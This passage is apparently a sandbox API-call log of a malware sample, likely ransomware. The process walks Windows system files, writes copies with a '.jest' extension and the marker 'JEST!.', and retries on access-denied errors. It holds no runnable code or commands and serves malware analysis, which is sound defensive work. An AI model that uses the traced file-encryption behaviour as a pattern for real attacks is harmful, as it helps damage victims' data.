Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpUsedDefaultChar=0x0) returned 84 [0121.440] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpFilePart=0x18e870*="ea-sym.xml") returned 0x53 [0121.440] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.441] GetLastError () returned 0x5 [0121.441] GetLastError () returned 0x5 [0121.441] SetLastError (dwErrCode=0x5) [0121.441] GetLastError () returned 0x5 [0121.441] SetLastError (dwErrCode=0x5) [0121.441] GetLastError () returned 0x5 [0121.441] SetLastError (dwErrCode=0x5) [0121.441] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.441] GetLastError () returned 0x5 [0121.441] GetLastError () returned 0x5 [0121.441] SetLastError (dwErrCode=0x5) [0121.441] GetLastError () returned 0x5 [0121.441] SetLastError (dwErrCode=0x5) [0121.441] GetLastError () returned 0x5 [0121.441] SetLastError (dwErrCode=0x5) [0121.441] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c [0121.442] GetFileType (hFile=0x41c) returned 0x1 [0121.442] IMalloc:Alloc (This=0x767666bc, cb=0x90) returned 0x14cedc0 [0121.442] IMalloc:Realloc (This=0x767666bc, pv=0x144dc08, cb=0x360) returned 0x144eae8 [0121.444] IMalloc:Free (This=0x767666bc, pv=0x14cedc0) [0121.444] VarBstrCmp (bstrLeft="msvbvm60.dll", bstrRight="msvbvm60.dll", lcid=0x0, dwFlags=0x30001) returned 0x1 [0121.444] SafeArrayRedim (in: psa=0x14da4c0, psaboundNew=0x18e9e0 | out: psa=0x14da4c0) returned 0x0 [0121.444] GetLocalTime (in: lpSystemTime=0x18ea00 | out: lpSystemTime=0x18ea00*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x72)) [0121.470] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.jest", lpFilePart=0x18e870*="ea-sym.xml.jest") returned 0x58 [0121.470] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.jest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c [0121.471] GetFileType (hFile=0x41c) returned 0x1 [0121.471] IMalloc:Alloc (This=0x767666bc, cb=0x95) returned 0x146ae88 [0121.471] GetUserDefaultLCID () returned 0x409 [0121.471] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18ea2c, cchData=6 | out: lpLCData="1252") returned 5 [0121.471] SysStringLen (param_1="JEST!.") returned 0x6 [0121.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0121.471] SysStringLen (param_1="JEST!.") returned 0x6 [0121.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=7, lpMultiByteStr=0x14aaba4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JEST!.", lpUsedDefaultChar=0x0) returned 7 [0121.475] IMalloc:Free (This=0x767666bc, pv=0x146ae88) [0121.475] SafeArrayDestroyDescriptor (psa=0x14da520) returned 0x0 [0121.475] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpUsedDefaultChar=0x0) returned 84 [0121.475] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpFilePart=0x18e6d8*="ea-sym.xml") returned 0x53 [0121.475] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x61, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 0x143ce48 [0121.476] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.476] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpFilePart=0x18e780*="ea-sym.xml") returned 0x53 [0121.476] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.476] GetLastError () returned 0x5 [0121.476] GetLastError () returned 0x5 [0121.476] SetLastError (dwErrCode=0x5) [0121.476] GetLastError () returned 0x5 [0121.476] SetLastError (dwErrCode=0x5) [0121.476] GetLastError () returned 0x5 [0121.476] SetLastError (dwErrCode=0x5) [0121.477] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.477] GetLastError () returned 0x5 [0121.477] GetLastError () returned 0x5 [0121.477] SetLastError (dwErrCode=0x5) [0121.477] GetLastError () returned 0x5 [0121.477] SetLastError (dwErrCode=0x5) [0121.477] GetLastError () returned 0x5 [0121.477] SetLastError (dwErrCode=0x5) [0121.477] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x41c [0121.477] GetFileType (hFile=0x41c) returned 0x1 [0121.477] IMalloc:Alloc (This=0x767666bc, cb=0x90) returned 0x14cedc0 [0121.477] FlushFileBuffers (hFile=0x41) returned 0 [0121.477] IMalloc:Free (This=0x767666bc, pv=0x146ae88) [0121.477] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e944) [0121.478] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.478] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpFilePart=0x18e780*="ea-sym.xml") returned 0x53 [0121.478] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.478] GetLastError () returned 0x5 [0121.479] GetLastError () returned 0x5 [0121.479] SetLastError (dwErrCode=0x5) [0121.479] GetLastError () returned 0x5 [0121.479] SetLastError (dwErrCode=0x5) [0121.479] GetLastError () returned 0x5 [0121.479] SetLastError (dwErrCode=0x5) [0121.479] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.479] GetLastError () returned 0x5 [0121.479] GetLastError () returned 0x5 [0121.479] SetLastError (dwErrCode=0x5) [0121.479] GetLastError () returned 0x5 [0121.479] SetLastError (dwErrCode=0x5) [0121.479] GetLastError () returned 0x5 [0121.479] SetLastError (dwErrCode=0x5) [0121.479] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420 [0121.479] GetFileType (hFile=0x420) returned 0x1 [0121.479] IMalloc:Alloc (This=0x767666bc, cb=0x90) returned 0x14cee58 [0121.480] FlushFileBuffers (hFile=0x42) returned 0 [0121.480] IMalloc:Free (This=0x767666bc, pv=0x146ae88) [0121.480] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e944) [0121.480] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.480] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x91)) [0121.480] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.480] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x91)) [0121.481] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x91)) [0121.481] GetUserDefaultLCID () returned 0x409 [0121.481] VarBstrFromR4 (in: fltIn=0x47944313, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.15") returned 0x0 [0121.481] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpFilePart=0x18e780*="ea-sym.xml") returned 0x53 [0121.481] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.481] GetLastError () returned 0x5 [0121.481] GetLastError () returned 0x5 [0121.481] SetLastError (dwErrCode=0x5) [0121.481] GetLastError () returned 0x5 [0121.482] SetLastError (dwErrCode=0x5) [0121.482] GetLastError () returned 0x5 [0121.482] SetLastError (dwErrCode=0x5) [0121.482] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.482] GetLastError () returned 0x5 [0121.482] GetLastError () returned 0x5 [0121.482] SetLastError (dwErrCode=0x5) [0121.482] GetLastError () returned 0x5 [0121.482] SetLastError (dwErrCode=0x5) [0121.482] GetLastError () returned 0x5 [0121.482] SetLastError (dwErrCode=0x5) [0121.482] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0121.482] GetFileType (hFile=0x424) returned 0x1 [0121.482] IMalloc:Alloc (This=0x767666bc, cb=0x90) returned 0x14ceef0 [0121.482] FlushFileBuffers (hFile=0x43) returned 0 [0121.483] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e944) [0121.483] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.483] GetCurrentProcessId () returned 0x9e0 [0121.483] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.483] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.484] GetFullPathNameA (in: lpFileName="2AvrVNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2AvrVNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp", lpFilePart=0x18e708*="2AvrVNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp") returned 0x8e [0121.484] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpFilePart=0x18e708*="ea-sym.xml") returned 0x53 [0121.484] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7f0) [0121.484] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2AvrVNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2AvrVNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp", lpUsedDefaultChar=0x0) returned 105 [0121.484] GetFullPathNameA (in: lpFileName="2AvrVNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2AvrVNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp", lpFilePart=0x18e6e4*="2AvrVNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp") returned 0x8e [0121.484] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2AvrVNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x72764132, cFileName="VNzTht3JoWcb SzGb2ldsHmDklXwYft pHl3RpEH0ztVLB5vNB9o8gEv6znZCDEVgdw9CjxjwxwegWGRxPBxMtZdHdZGVor0.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.485] GetLastError () returned 0x2 [0121.485] GetLastError () returned 0x2 [0121.485] SetLastError (dwErrCode=0x2) [0121.485] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0121.485] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.485] lstrcpynW (in: lpString1=0x14cf144, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ja-jp-sym.xml_2e09b261X", iMaxLength=123 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ja-jp-sym.xml_2e09b261") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_ja-jp-sym.xml_2e09b261" [0121.485] lstrcpynW (in: lpString1=0x14da79c, lpString2="ja-jp-sym.xml", iMaxLength=14 | out: lpString1="ja-jp-sym.xml") returned="ja-jp-sym.xml" [0121.486] lstrcpynW (in: lpString1=0x14cf144, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.486] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.486] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.486] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.486] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.486] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.486] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_symbase.xml_c190ea61", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_symbase.xml_c190ea61") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_symbase.xml_c190ea61" [0121.487] lstrcpynW (in: lpString1=0x14da7ec, lpString2="symbase.xml", iMaxLength=12 | out: lpString1="symbase.xml") returned="symbase.xml" [0121.487] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols", iMaxLength=71 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" [0121.487] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.487] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.487] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.487] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.487] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.487] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpFilePart=0x18e870*="symbase.xml") returned 0x54 [0121.490] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.jest", lpFilePart=0x18e870*="symbase.xml.jest") returned 0x59 [0121.493] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpFilePart=0x18e6d8*="symbase.xml") returned 0x54 [0121.493] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x61, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0x143ce48 [0121.493] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.494] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpFilePart=0x18e780*="symbase.xml") returned 0x54 [0121.494] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpFilePart=0x18e780*="symbase.xml") returned 0x54 [0121.494] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.494] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xa1)) [0121.495] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xa1)) [0121.495] GetUserDefaultLCID () returned 0x409 [0121.495] VarBstrFromR4 (in: fltIn=0x47944315, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.16") returned 0x0 [0121.495] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft 